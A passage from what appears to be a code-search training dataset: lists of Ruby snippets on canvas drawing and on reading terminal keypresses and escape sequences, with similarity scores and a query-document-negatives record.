"def setCanvasSize\n if @intTargetX.to_s.to_i > 20 and @intTargetY.to_s.to_i > 20\n puts('setting new dimetions')\n @canvasRefrance.resizeCanvas(@intTargetY.to_s.to_i,@intTargetX.to_s.to_i)\n else \n puts('setting defult dimentions')\n @canvasRefrance.resizeCanvas(@minDimensions,@minDimensions)\n end\n end",
"def set_canvas_frame(canvasFrame_wnd)\r\n canvasFrame = FXVerticalFrame.new(canvasFrame_wnd, FRAME_THICK|LAYOUT_FILL_Y|LAYOUT_TOP|LAYOUT_LEFT)\r\n canvasFrame.create\r\n \r\n #p \"**** set frame...\"\r\n if @game_cmd_bt_list.size > 0 \r\n # send canvas size changed\r\n @app_owner.activate_canvas_frame\r\n return\r\n end\r\n \r\n label_wnd = FXLabel.new(canvasFrame, \"Comandi gioco \", nil, JUSTIFY_LEFT|LAYOUT_FILL_X)\r\n label_wnd.create\r\n \r\n bt_wnd_list = []\r\n bt_wnd_list << FXButton.new(canvasFrame, \"uno\", @app_owner.icons_app[:numero_uno], nil, 0,FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_BOTTOM|LAYOUT_LEFT,0, 0, 0, 0, 10, 10, 5, 5)\r\n bt_wnd_list << FXButton.new(canvasFrame, \"due\", @app_owner.icons_app[:numero_due], nil, 0,FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_BOTTOM|LAYOUT_LEFT,0, 0, 0, 0, 10, 10, 5, 5)\r\n bt_wnd_list << FXButton.new(canvasFrame, \"tre\", @app_owner.icons_app[:numero_tre], nil, 0,FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_BOTTOM|LAYOUT_LEFT,0, 0, 0, 0, 10, 10, 5, 5)\r\n \r\n bt_wnd_list.each do |bt_wnd|\r\n bt_wnd.iconPosition = (bt_wnd.iconPosition|ICON_BEFORE_TEXT) & ~ICON_AFTER_TEXT\r\n bt_hash = {:bt_wnd => bt_wnd, :status => :not_used}\r\n @game_cmd_bt_list << bt_hash\r\n bt_wnd.create\r\n end\r\n free_all_btcmd # hide all commands buttons\r\n \r\n # send canvas size changed\r\n @app_owner.activate_canvas_frame\r\n end",
"def draw\n\n\t\tend",
"def draw\n\tend",
"def perform\n @bitmap.width = @x_axis\n @bitmap.height = @y_axis\n @bitmap.generate_pixels\n end",
"def draw\n\t\t\n\tend",
"def draw\n\t\t\n\tend",
"def draw\n\t\t\n\tend",
"def draw\n\t\t\n\tend",
"def initialize(*args)\n @tone = Tone.new\n @color = Color.new\n @rect = args.empty? ? Rect.new(0, 0, Graphics.width, Graphics.height) : Rect.new(*args)\n @created_at = Time.now\n @z = 0\n @ox = 0\n @oy = 0\n end",
"def open_canvas_http\n if @canvas_http.nil?\n @canvas_http = Net::HTTP.new(Rails.application.secrets.canvas_server, Rails.application.secrets.canvas_port)\n if Rails.application.secrets.canvas_use_ssl\n @canvas_http.use_ssl = true\n if Rails.application.secrets.canvas_allow_self_signed_ssl\n @canvas_http.verify_mode = OpenSSL::SSL::VERIFY_NONE # self-signed cert would fail\n end\n end\n end\n\n @canvas_http\n end",
"def initialize(options = {})\n super()\n $app = App.current = self\n set_sketch_path unless online?\n make_accessible_to_the_browser\n options = {\n :width => 400, \n :height => 400, \n :title => \"\",\n :full_screen => false\n }.merge(options)\n @width, @height, @title = options[:width], options[:height], options[:title]\n @render_mode = P2D\n determine_how_to_display options\n end",
"def reset(cols, rows)\n\n\t@cols = cols.to_i.abs\n\t@rows = rows.to_i.abs\n\t@created = true\n\n\tx = 0\n\tuntil x > @rows\n\t y = 0\n\t until y > @cols\n\t\tset_pixel(\"#{y}-#{x}\", COLOR_WHITE)\n\t\ty = y+1\n\t end\n\t x = x+1\n\tend\n\n end",
"def canvas(index:, width:, height:, profile:, label: nil, filepath:, additional_downloads: nil)\n canvas = IIIF::Presentation::Canvas.new\n canvas['@id'] = uri(image_server, \"#{id}/canvas/p#{index}\")\n canvas.label = label || \"p. #{index}\"\n canvas.height = height\n canvas.width = width\n\n annotation = IIIF::Presentation::Annotation.new\n\n # By providing width, height and profile, we avoid the IIIF gem fetching the data again.\n annotation.resource = IIIF::Presentation::ImageResource.create_image_api_image_resource(\n service_id: uri(image_server, filepath), width: width, height: height, profile: profile,\n )\n annotation['on'] = canvas['@id']\n\n canvas.images << annotation\n\n if additional_downloads\n canvas['rendering'] = additional_downloads.map { |download_info| rendering(download_info) }\n end\n\n canvas\n end",
"def clean\n @scene = Bootstrap.new\n @charts = Hash.new\n end",
"def execute\n @saved_data = app.bitmap unless app.bitmap.nil?\n app.bitmap = Bitmap.new(@width, @height)\n end",
"def initialize(width = 800, height = 600)\n\t\t@width = width\n\t\t@height = height\n\t\tSDL.init SDL::INIT_VIDEO\n\t\t@screen = SDL::set_video_mode @width, @height, 24, SDL::SWSURFACE\n\t\t@color_bg = @screen.format.mapRGB 240, 240, 240\n\t\t@color_fg = @screen.format.mapRGB 0, 0, 0\n\t\tclear\n\tend",
"def canvas_for(slice, opts)\n file = file_for(slice, opts)\n file[:canvas]\n end",
"def create_canvas(w, h, bkg_col)\n @draw = Magick::Draw.new\n @draw.pointsize = @@pointsize # TODO Use height\n @draw.pointsize = @options[:font_size] if @options.has_key?(:font_size)\n @canvas = Magick::Image.new(w , h) { self.background_color = bkg_col }\n\n # Make room for label and last value\n unless @options[:label].nil?\n if (@options[:has_last].nil?)\n @options[:has_last] = true\n end\n @label_width = calculate_width(@options[:label])\n @data_last_width = calculate_width(formatted_last_data_string)\n\n # TODO: Must figure out correct spacing\n @label_and_data_last_width = @label_width + @data_last_width + @@label_margin * 3.0\n w += @label_and_data_last_width\n end\n\n @canvas = Magick::Image.new(w , h) { self.background_color = bkg_col }\n @canvas.format = \"PNG\"\n\n # Draw label and last value\n unless @options[:label].nil?\n if ENV.has_key?('MAGICK_FONT_PATH')\n vera_font_path = File.expand_path('Vera.ttf', ENV['MAGICK_FONT_PATH'])\n @font = File.exists?(vera_font_path) ? vera_font_path : nil\n else\n @font = nil\n end\n @font = @options[:font] if @options.has_key?(:font)\n\n @draw.fill = 'black'\n @draw.font = @font if @font\n @draw.gravity = Magick::WestGravity\n @draw.annotate( @canvas,\n @label_width, 1.0,\n w - @label_and_data_last_width + @@label_margin, h - calculate_caps_height/2.0,\n @options[:label])\n\n @draw.fill = 'red'\n @draw.annotate( @canvas,\n @data_last_width, 1.0,\n w - @data_last_width - @@label_margin, h - calculate_caps_height/2.0,\n formatted_last_data_string)\n end\n end",
"def initialize(window)\n super(window)\n @width = 1\n @height = 1\n rebuild_vertices\n end",
"def new \n @image = Image.new\n end",
"def setupDevice(devtype,param) \n case devtype\n when 'gtk', :gtk\n @device = MyCanvasGtk.new(param) ;\n## when 'gtk2'\n## @device = MyCanvasGtk2.new(param) ;\n when 'tgif', :tgif\n @device = MyCanvasTgif.new(param) ;\n when 'tk', :tk\n @device = MyCanvasTk.new(param) ;\n else\n $stderr.printf(\"Error:unknown device type : %s\\n\",devtype.to_s) ;\n fail ;\n end\n end",
"def draw()\n if self.image != nil\n bitmap = Cache.picture(self.image)\n @cImage.img_bitmap = bitmap\n @cImage.src_rect = Rect.new(0, 0, bitmap.width, bitmap.height)\n @cImage.draw()\n end\n end",
"def create_painting\n Painting.new(title, price, self, gallery)\n end",
"def fill_paint(paint)\n end",
"def draw\n dc = Wx::MemoryDC.new\n dc.select_object(self)\n yield dc\n dc.select_object( Wx::NULL_BITMAP )\n end",
"def init_cc(sheet)\n Cairo::Context.new(Cairo::PDFSurface.new(\n \"#{sheet.dir}/#{sheet.file}\",\n sheet.width * POINTS_PER_IN / @deck.dpi, #PDF thinks in 72 DPI \"points\"\n sheet.height * POINTS_PER_IN / @deck.dpi)\n )\n end",
"def initialize(x, y, width)\r\n super(x, y, width, window_height)\r\n @actor = nil\r\n refresh\r\n end",
"def setup\n OpenGL.reset_flags\n end",
"def initialize(x, y, width, height)\n super\n @data = []\n self.index = 0\n activate\n end",
"def create\n @api_v1_canvas = Api::V1::Canvas.new(api_v1_canvas_params)\n\n respond_to do |format|\n if @api_v1_canvas.save\n format.html do\n redirect_to @api_v1_canvas, notice: 'Canvas was successfully created.'\n end\n\n format.json do\n msg = render_to_string(action: 'show', layout: false)\n broadcast(\"created\", JSON.parse(msg))\n\n render :show, status: :created, location: @api_v1_canvas\n end\n\n else\n format.html { render :new }\n format.json do\n render json: @api_v1_canvas.errors, status: :unprocessable_entity\n end\n\n end\n end\n rescue => e\n logger.error \"canvas create error #{e.message} #{e.backtrace}\"\n render json: '{\"error\": \"something went wrong ...\"}', status: 500\n end",
"def reset(window)\n\t\t# create a new image using a random one from the candyList\n @image = Gosu::Image.new(window, candyList.sample)\n # set w,h based on image size\n @w = @image.width\n @h = @image.height\n # a random Y value so it starts at a random place\n\t @y = Random.rand(window.height - @h)\n\t # velocity of Y is random from -5 to 5\n\t # this changes the angle of the candy\n\t @vy = rand(-5..5)\n\t # x is set to the full width of the window so it starts on the right side\n\t @x = window.width\n\tend",
"def create_gc! (cid, drawable, **hash)\n super(cid, drawable, *value_param(GC, hash))\n end",
"def InitGL(width, height) # We call this right after our OpenGL window \n # is created.\n\n GL.ClearColor(0.0, 0.0, 0.0, 0.0) # This Will Clear The Background \n # Color To Black\n GL.ClearDepth(1.0) # Enables Clearing Of The Depth Buffer\n GL.DepthFunc(GL::LESS) # The Type Of Depth Test To Do\n GL.Enable(GL::DEPTH_TEST) # Enables Depth Testing\n GL.ShadeModel(GL::SMOOTH) # Enables Smooth Color Shading\n GL.MatrixMode(GL::PROJECTION)\n GL.LoadIdentity() # Reset The Projection Matrix\n GLU.Perspective(45.0,Float(width)/Float(height),0.1,100.0) # Calculate The Aspect Ratio \n # Of The Window\n GL.MatrixMode(GL::MODELVIEW)\nend",
"def make_current\n @window.make_current\n Screen.current = self\n self.vsync = @vsync\n end"
] | [
"0.7715226",
"0.6984112",
"0.69701445",
"0.6500664",
"0.63827986",
"0.61824435",
"0.608907",
"0.603295",
"0.60037464",
"0.5971804",
"0.5971184",
"0.58578837",
"0.5841196",
"0.5839638",
"0.5829413",
"0.58171743",
"0.5798789",
"0.5744388",
"0.57341635",
"0.57086027",
"0.5688719",
"0.56877726",
"0.5626315",
"0.56134766",
"0.5604689",
"0.5601743",
"0.55574524",
"0.5552852",
"0.55476296",
"0.5535048",
"0.5510973",
"0.5509742",
"0.5498246",
"0.5477631",
"0.5453857",
"0.545283",
"0.5401746",
"0.5398008",
"0.53506243",
"0.53414416",
"0.5327126",
"0.5326382",
"0.5310763",
"0.5298542",
"0.52927244",
"0.52695215",
"0.5243022",
"0.5242945",
"0.5225427",
"0.5222344",
"0.5222344",
"0.5222344",
"0.5216877",
"0.5210647",
"0.52003056",
"0.5194637",
"0.5184424",
"0.51722497",
"0.5163616",
"0.5150935",
"0.51503897",
"0.513397",
"0.5126031",
"0.5126031",
"0.51202196",
"0.5119062",
"0.5117293",
"0.5115695",
"0.5100047",
"0.5098135",
"0.5096757",
"0.5079163",
"0.5079163",
"0.5079163",
"0.5079163",
"0.50782543",
"0.50584704",
"0.5054869",
"0.5051915",
"0.50519025",
"0.5034",
"0.5031173",
"0.5029005",
"0.50280136",
"0.5016291",
"0.50150436",
"0.5002451",
"0.50012183",
"0.498722",
"0.4986327",
"0.49840987",
"0.4983976",
"0.4981332",
"0.49752507",
"0.4968395",
"0.4965703",
"0.49645758",
"0.49604207",
"0.49593052",
"0.4957474",
"0.4952858"
] | 0.0 | -1 |
ALL CODE USED TO NAVIGATE THE GAME IS HERE This method reads keypresses from the user including 2 and 3 escape character sequences. | def pressKey
STDIN.echo = false
STDIN.raw!
input = STDIN.getc.chr
if input == "\e" then
input << STDIN.read_nonblock(3) rescue nil
input << STDIN.read_nonblock(2) rescue nil
end
ensure
STDIN.echo = true
STDIN.cooked!
return input
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show_single_key\n c = read_char\n\n case c\n when \" \"\n pickUpItem()\n when \"i\"\n showInventory\n when \"m\"\n showMap\n when \"v\"\n inspectSurroundings\n puts \"working\"\n when \"q\"\n system ('clear && printf \"\\e[3J\"') or system (\"cls\")\n exit 0\n when \"k\"\n gameOver\n when \"\\e[A\"\n move(c)\n when \"\\e[B\"\n move(c)\n when \"\\e[C\"\n move(c)\n when \"\\e[D\"\n move(c)\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n end\nend",
"def read_single_key\n c = read_char\n\n case c\n\n when \"\\r\"\n return \"RETURN\"\n when \"\\e\"\n return \"SAVE\"\n when \"\\e[A\"\n return \"w\"\n when \"\\e[B\"\n return \"s\"\n when \"\\e[C\"\n return \"d\"\n when \"\\e[D\"\n return \"a\"\n\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n else\n return \"SOMETHING ELSE: #{c.inspect}\"\n end\n end",
"def input\n if raw_mode?\n keys = console.getch\n if keys.ord == 27\n keys << console.read_nonblock(3) rescue nil\n keys << console.read_nonblock(2) rescue nil\n end\n keys\n\n else\n console.gets.chomp\n\n end\n end",
"def getchar\n $key_chr = nil\n c = nil\n while true\n c = self.getch\n break if c != -1\n end\n \n cn = c\n $key_int = c\n # handle control codes 0 to 127 but not escape\n if cn >= 0 && cn < 128 && cn != 27\n #$key_chr = key_tos(c)\n return c\n end\n \n # if escape then get into a loop and keep checking till -1 or another escape\n #\n if c == 27\n buff=c.chr\n # if there is another escape coming through then 2 keys were pressed so\n # evaluate upon hitting an escape\n # NOTE : i think only if ESc is followed by [ should be keep collectig\n # otherwise the next char should evaluate. cases like F1 are already being sent in as high integer codes\n while true\n #$log.debug \" #{Time.now.to_f} inside LOOP before getch \"\n # This getch seems to take enough time not to return a -1 for almost a second\n # even if nodelay is true ??? XXX\n FFI::NCurses.set_escdelay(5)\n k = self.getch\n #$log.debug \"elapsed #{elapsed} millis inside LOOP AFTER getch #{k} (#{elapsed1})\"\n $log.debug \"inside LOOP AFTER getch #{k} \"\n\n if k == 27\n # seems like two Meta keys pressed in quick succession without chance for -1 to kick in\n # but this still does not catch meta char followed by single char. M-za , it does.\n if $esc_esc\n if buff == 27.chr\n $key_chr = \"<ESC-ESC>\"\n return 2727\n else\n alert \"buff is #{buff}\"\n end\n end\n $log.debug \" 1251 before evaluate \"\n x = _evaluate_buff buff\n # return ESC so it can be interpreted again.\n @window.ungetch k\n $key_chr = x if x\n return $key_int if x\n $log.warn \"getchar: window.rb 1200 Found no mapping for #{buff} \"\n $key_chr = buff\n return $key_int\n #return buff # otherwise caught in loop ???\n elsif k > -1\n # FIXME next lne crashes if M-C-h pressed which gives 263\n if k > 255\n $log.warn \"getchar: window.rb 1247 Found no mapping for #{buff} #{k} \"\n $key_int = k + 128\n return $key_int\n # this contains ESc followed by a high number\n=begin\n ka = key_tos(k)\n if ka\n $key_chr = \"<M-\" + ka[1..-1]\n $key_int = k + 128\n return $key_int\n else\n $key_chr = \"UNKNOWN: Meta + #{k}\"\n return 9999\n end\n=end\n end\n\n buff += k.chr\n # this is an alt/meta code. All other complex codes seem to have a [ after the escape\n # so we will keep accumulating them.\n # NOTE this still means that user can press Alt-[ and some letter in quick succession\n # and it will accumulate rather than be interpreted as M-[.\n #\n if buff.length == 2 and k == 79\n # this is Alt-O and can be a F key in some terms like xterm-color\n elsif buff.length == 2 and k.chr != '['\n x = _evaluate_buff buff\n \n $key_chr = x\n return $key_int if x\n end\n #$log.debug \"XXX: getchar adding #{k}, #{k.chr} to buff #{buff} \"\n else\n #$log.debug \" GOT -1 in escape \"\n # it is -1 so evaluate\n x = _evaluate_buff buff\n $key_chr = x if x\n return $key_int if x\n $log.warn \"getchar: window.rb 1256 Found no mapping for #{buff} \"\n $key_chr = buff\n return $key_int\n end\n end\n end\n \n # what if keyname does not return anything\n if c > 127\n #$log.info \"xxxgetchar: window.rb sending #{c} \"\n=begin\n ch = FFI::NCurses::keyname(c) \n # remove those ugly brackets around function keys\n if ch && ch[-1]==')'\n ch = ch.gsub(/[()]/,'')\n end\n if ch && ch.index(\"KEY_\")\n ch = ch.gsub(/KEY_/,'')\n end\n ch = \"<#{ch}>\" if ch\n #return ch if ch\n $key_chr = ch if ch\n $key_chr = \"UNKNOWN:#{c}\" unless ch\n $log.warn \"getchar: window.rb 1234 Found no mapping for #{c} \" unless ch\n=end\n #$key_chr = key_tos(ch)\n return c\n end\n if c\n #$key_chr = c.chr \n return c \n end\n end",
"def get_keyboard_input\n c = read_char\n\n case c\n # when \" \"\n # \"SPACE\"\n # when \"\\t\"\n # :query\n when \"\\r\"\n :error\n # when \"\\n\"\n # \"LINE FEED\"\n when \"\\e\"\n :abort\n # when \"\\e[A\"\n # \"UP ARROW\"\n # :error\n # when \"\\e[B\"\n # \"DOWN ARROW\"\n # :error\n when \"\\e[C\"\n \"RIGHT ARROW\"\n :right\n when \"\\e[D\"\n \"LEFT ARROW\"\n :left\n when \"\\177\"\n :backspace\n when \"\\004\"\n :delete\n when \"\\e[3~\"\n :delete\n # when \"\\u0003\"\n # \"CONTROL-C\"\n # exit 0\n when /^.$/\n c\n else\n :error\n end\n end",
"def show_single_key\n c = read_char\n \n case c\n when \" \"\n puts \"SPACE\"\n when \"\\t\"\n puts \"TAB\"\n when \"\\r\"\n puts @cursor_pos\n when \"\\n\"\n puts \"LINE FEED\"\n when \"\\e\"\n puts \"ESCAPE\"\n \n\n when \"\\e[A\" ##up\n print \"\\033[1A\\033\"\n @cursor_pos[1] -= 1\n when \"\\e[B\" ##down\n print \"\\033[1B\\033\"\n @cursor_pos[1] += 1\n when \"\\e[C\" ##right\n print \"\\033[1C\\033\"\n @cursor_pos[0] += 1\n when \"\\e[D\" ##left\n print \"\\033[1D\\033\"\n @cursor_pos[0] -= 1\n \n\n when \"\\177\"\n puts \"BACKSPACE\"\n when \"\\004\"\n puts \"DELETE\"\n when \"\\e[3~\"\n puts \"ALTERNATE DELETE\"\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n when \"f\"\n puts \"flag\"\n puts \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n puts \"SOMETHING ELSE: #{c.inspect}\"\n end\n\n #p @cursor_pos\nend",
"def show_single_key\n c = read_char\n\n case c\n when \" \"\n RTermGame.println \"SPACE\"\n when \"\\t\"\n RTermGame.println \"TAB\"\n when \"\\r\"\n RTermGame.println \"RETURN\"\n when \"\\n\"\n RTermGame.println \"LINE FEED\"\n when \"\\e\"\n RTermGame.println \"ESCAPE\"\n when \"\\e[A\"\n RTermGame.println \"UP ARROW\"\n when \"\\e[B\"\n RTermGame.println \"DOWN ARROW\"\n when \"\\e[C\"\n RTermGame.println \"RIGHT ARROW\"\n when \"\\e[D\"\n RTermGame.println \"LEFT ARROW\"\n when \"\\177\"\n RTermGame.println \"BACKSPACE\"\n when \"\\004\"\n RTermGame.println \"DELETE\"\n when \"\\e[3~\"\n RTermGame.println \"ALTERNATE DELETE\"\n when \"\\u0003\"\n RTermGame.println \"CONTROL-C\"\n exit 0\n when /^.$/\n RTermGame.println \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n RTermGame.println \"SOMETHING ELSE: #{c.inspect}\"\n end\nend",
"def show_single_key\n system(\"clear\")\n board.render\n\n c = read_char\n\n case c\n when \"\\e[A\"\n # puts \"UP ARROW\"\n board.selected_pos[0] -= 1 unless board.selected_pos[0] < 1\n when \"\\e[B\"\n board.selected_pos[0] += 1 unless board.selected_pos[0] > 7\n # puts \"DOWN ARROW\"\n when \"\\e[C\"\n board.selected_pos[1] += 1 unless board.selected_pos[1] > 7\n # puts \"RIGHT ARROW\"\n when \"\\e[D\"\n board.selected_pos[1] -= 1 unless board.selected_pos[1] < 1\n # puts \"LEFT ARROW\"\n when \"r\"\n make_move(board.selected_pos,\"r\")\n when \"f\"\n make_move(board.selected_pos,\"f\")\n when \"s\"\n save?\n end\n end",
"def show_single_key\nc = read_char\ncase c\nwhen \" \"\nreturn \"SPACE\"\nwhen \"\\t\"\nreturn \"TAB\"\nwhen \"\\r\"\nreturn \"RETURN\"\nwhen \"\\n\"\nreturn \"LINE FEED\"\nwhen \"\\e\"\nreturn \"ESCAPE\"\nwhen \"\\e[A\"\nreturn \"UP ARROW\"\nwhen \"\\e[B\"\nreturn \"DOWN ARROW\"\nwhen \"\\e[C\"\nreturn \"RIGHT ARROW\"\nwhen \"\\e[D\"\nreturn \"LEFT ARROW\"\nwhen \"\\177\"\nreturn \"BACKSPACE\"\nwhen \"\\004\"\nreturn \"DELETE\"\nwhen \"\\e[3~\"\nreturn \"ALTERNATE DELETE\"\nwhen \"\\u0003\"\nreturn \"CONTROL-C\"\nexit 0\nwhen /^.$/\nreturn \"SINGLE CHAR HIT: #{c.inspect}\"\nelse\nreturn \"SOMETHING ELSE: #{c.inspect}\"\nend\nend",
"def process_keyboard\n ACCEPTED_KEYS.each {|key|\n if Input.repeat?(key[0])\n c = (key[0] != :kSPACE) ? Keyboard.add_char(Ascii::SYM[key[0]]) : \" \"\n process_add(c)\n #Sound.play_ok\n play_random_key_sound\n end\n }\n end",
"def key_pressed\n if STDIN.ready?\n input = STDIN.read_nonblock(1) rescue nil\n if input == \"\\e\" \n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n end\n # STDIN.cooked!\n input\n\nend",
"def receive_input\n input = ''\n controls = %w(a s d w)\n until controls.include?(input)\n input = STDIN.getch\n abort 'escaped' if input == \"\\e\"\n end\n input\n end",
"def getchar \n while true \n ch = getch\n #$log.debug \"window getchar() GOT: #{ch}\" if ch != -1\n if ch == -1\n # the returns escape 27 if no key followed it, so its SLOW if you want only esc\n if @stack.first == 27\n #$log.debug \" -1 stack sizze #{@stack.size}: #{@stack.inspect}, ch #{ch}\"\n case @stack.size\n when 1\n @stack.clear\n return 27\n when 2 # basically a ALT-O, this will be really slow since it waits for -1\n ch = 128 + @stack.last\n @stack.clear\n return ch\n when 3\n $log.debug \" SHOULD NOT COME HERE getchar()\"\n end\n end\n @stack.clear\n next\n end\n # this is the ALT combination\n if @stack.first == 27\n # experimental. 2 escapes in quick succession to make exit faster\n if ch == 27\n @stack.clear\n return ch\n end\n # possible F1..F3 on xterm-color\n if ch == 79 or ch == 91\n #$log.debug \" got 27, #{ch}, waiting for one more\"\n @stack << ch\n next\n end\n #$log.debug \"stack SIZE #{@stack.size}, #{@stack.inspect}, ch: #{ch}\"\n if @stack == [27,79]\n # xterm-color\n case ch\n when 80\n ch = KEY_F1\n when 81\n ch = KEY_F2\n when 82\n ch = KEY_F3\n when 83\n ch = KEY_F4\n end\n @stack.clear\n return ch\n elsif @stack == [27, 91]\n if ch == 90\n @stack.clear\n return 353 # backtab\n end\n end\n # the usual Meta combos. (alt)\n ch = 128 + ch\n @stack.clear\n return ch\n end\n # append a 27 to stack, actually one can use a flag too\n if ch == 27\n @stack << 27\n next\n end\n return ch\n end\n end",
"def getchar \n while 1 \n ch = getch\n #$log.debug \"window getchar() GOT: #{ch}\" if ch != -1\n if ch == -1\n # the returns escape 27 if no key followed it, so its SLOW if you want only esc\n if @stack.first == 27\n #$log.debug \" -1 stack sizze #{@stack.size}: #{@stack.inspect}, ch #{ch}\"\n case @stack.size\n when 1\n @stack.clear\n return 27\n when 2 # basically a ALT-O, this will be really slow since it waits for -1\n ch = 128 + @stack.last\n @stack.clear\n return ch\n when 3\n $log.debug \" SHOULD NOT COME HERE getchar()\"\n end\n end\n @stack.clear\n next\n end\n # this is the ALT combination\n if @stack.first == 27\n # experimental. 2 escapes in quick succession to make exit faster\n if ch == 27\n @stack.clear\n return ch\n end\n # possible F1..F3 on xterm-color\n if ch == 79 or ch == 91\n #$log.debug \" got 27, #{ch}, waiting for one more\"\n @stack << ch\n next\n end\n #$log.debug \"stack SIZE #{@stack.size}, #{@stack.inspect}, ch: #{ch}\"\n if @stack == [27,79]\n # xterm-color\n case ch\n when 80\n ch = KEY_F1\n when 81\n ch = KEY_F2\n when 82\n ch = KEY_F3\n when 83\n ch = KEY_F4\n end\n @stack.clear\n return ch\n elsif @stack == [27, 91]\n if ch == 90\n @stack.clear\n return KEY_BTAB # backtab\n end\n end\n # the usual Meta combos. (alt)\n ch = 128 + ch\n @stack.clear\n return ch\n end\n # append a 27 to stack, actually one can use a flag too\n if ch == 27\n @stack << 27\n next\n end\n return ch\n end\n end",
"def rl_read_key()\r\n @rl_key_sequence_length+=1\r\n\r\n if (@rl_pending_input!=0)\r\n c = @rl_pending_input\r\n rl_clear_pending_input()\r\n else\r\n # If the user has an event function, then call it periodically.\r\n if (@rl_event_hook)\r\n while (@rl_event_hook && (c=rl_get_char()).nil?)\r\n\r\n send(@rl_event_hook)\r\n if (@rl_done) # XXX - experimental\r\n return (\"\\n\")\r\n end\r\n if (rl_gather_tyi() < 0) # XXX - EIO\r\n @rl_done = true\r\n return (\"\\n\")\r\n end\r\n end\r\n\r\n else\r\n\r\n if (c=rl_get_char()).nil?\r\n c = send(@rl_getc_function,@rl_instream)\r\n end\r\n end\r\n end\r\n\r\n return (c)\r\n end",
"def read\n @window.getch\n end",
"def read_keypress(options = {})\n opts = { echo: false, raw: true }.merge(options)\n codes = unbufferred { get_codes(opts) }\n char = codes ? codes.pack('U*') : nil\n\n trigger_key_event(char) if char\n char\n end",
"def process_redio_keyboard_input(key)\n case key\n when :enter then @redio_loop = false\n when /\\d/ then print_redio(key.to_s)\n when :tab, :down, :left, :space then print_redio(@redio_res.succ)\n when :up, :right then print_redio(@redio_res.pred)\n end\n end",
"def read_char()\n STDIN.getch()\nend",
"def get_char\n system('stty raw -echo 2>/dev/null') # turn raw input on\n c = nil\n # if $stdin.ready?\n c = $stdin.getc\n cn = c.ord\n return 'ENTER' if cn == 10 || cn == 13\n return 'BACKSPACE' if cn == 127\n return 'C-SPACE' if cn == 0\n return 'SPACE' if cn == 32\n # next does not seem to work, you need to bind C-i\n return 'TAB' if cn == 8\n\n if cn >= 0 && cn < 27\n x = cn + 96\n return \"C-#{x.chr}\"\n end\n if c == '\u001b'\n buff = c.chr\n loop do\n k = nil\n if $stdin.ready?\n k = $stdin.getc\n # puts \"got #{k}\"\n buff += k.chr\n else\n x = @kh[buff]\n return x if x\n\n # puts \"returning with #{buff}\"\n if buff.size == 2\n ## possibly a meta/alt char\n k = buff[-1]\n return \"M-#{k.chr}\"\n end\n return buff\n end\n end\n end\n # end\n return c.chr if c\nensure\n # system('stty -raw echo 2>/dev/null') # turn raw input on\n # 2019-03-29 - echo was causing printing of arrow key code on screen\n # if moving fast\n system('stty -raw 2>/dev/null') # turn raw input on\nend",
"def getchar\n @key_reader.getchar\n end",
"def getInput\n $game_player.clean_buffer if $game_player.input_buffer.length > 10\n $game_player.flush_buffer if $game_player.iframes == 0\n case Input.dir8\n when 2; $game_player.buffer('D')\n when 4; $game_player.buffer('L')\n when 6; $game_player.buffer('R')\n when 8; $game_player.buffer('U')\n end\n $game_player.iframes -= 1 if $game_player.iframes > 0 \nend",
"def show_single_key\n c = read_char\n\n case c\n when \" \"\n puts \"SPACE\"\n when \"\\t\"\n puts \"TAB\"\n when \"\\r\"\n puts \"RETURN\"\n when \"\\n\"\n puts \"LINE FEED\"\n when \"\\e\"\n puts \"ESCAPE\"\n when \"\\e[A\"\n puts \"UP ARROW\"\n when \"\\e[B\"\n puts \"DOWN ARROW\"\n when \"\\e[C\"\n puts \"RIGHT ARROW\"\n when \"\\e[D\"\n puts \"LEFT ARROW\"\n when \"\\177\"\n puts \"BACKSPACE\"\n when \"\\004\"\n puts \"DELETE\"\n when \"\\e[3~\"\n puts \"ALTERNATE DELETE\"\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n when /^.$/\n puts \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n puts \"SOMETHING ELSE: #{c.inspect}\"\n end\n end",
"def key_press\n x = $stdin.getch\n x += handle_esc if x == \"\\e\"\n\n x\nend",
"def on_char(evt)\n ch = evt.get_key_code\n mflag = evt.modifiers\n\n case ch\n when Wx::K_RIGHT : move_cursor_right(evt.shift_down)\n when Wx::K_LEFT : move_cursor_left(evt.shift_down)\n when Wx::K_DOWN : move_cursor_down(evt.shift_down)\n when Wx::K_UP : move_cursor_up(evt.shift_down)\n when Wx::K_BACK : on_key_back(evt)\n when Wx::K_DELETE : on_key_delete(evt)\n when Wx::K_TAB : on_key_tab(evt)\n when (mflag == Wx::MOD_CMD and ?a) # select all\n do_select_all\n when (mflag == Wx::MOD_CMD and ?c) # copy\n do_clipboard_copy\n when (mflag == Wx::MOD_CMD and ?x) # cut\n do_clipboard_cut\n when (mflag == Wx::MOD_CMD and ?v) # paste\n do_clipboard_paste\n when ((mflag == Wx::MOD_NONE or mflag == Wx::MOD_SHIFT) and 0x20..0x7e)\n if @cursor.area\n # redirect regular typing to on_char_AREANAME\n return self.send(\"on_char_#{AREAS[@cursor.area]}\", evt)\n end\n else # everything else is for dynamically handling key combo handlers\n m = []\n m << 'alt' if (mflag & Wx::MOD_ALT) != 0\n m << 'cmd' if (mflag & Wx::MOD_CMD) != 0\n m << 'shift' if (mflag & Wx::MOD_SHIFT) != 0\n mods = (m.empty?)? \"\" : \"_\" + m.join('_')\n\n ch = evt.get_key_code\n hex = ch.to_s(16).rjust(2,'0')\n meth=nil\n\n if (n=resolve_key_code(ch)) and respond_to?(\"on_key#{mods}_#{n}\")\n meth=\"on_key#{mods}_#{n}\"\n elsif respond_to?(\"on_key#{mods}_0x#{hex}\")\n meth=\"on_key#{mods}_#{hex}\"\n end\n\n if meth and ret=self.send(meth, evt)\n return ret\n else\n evt.skip()\n end\n end\n end",
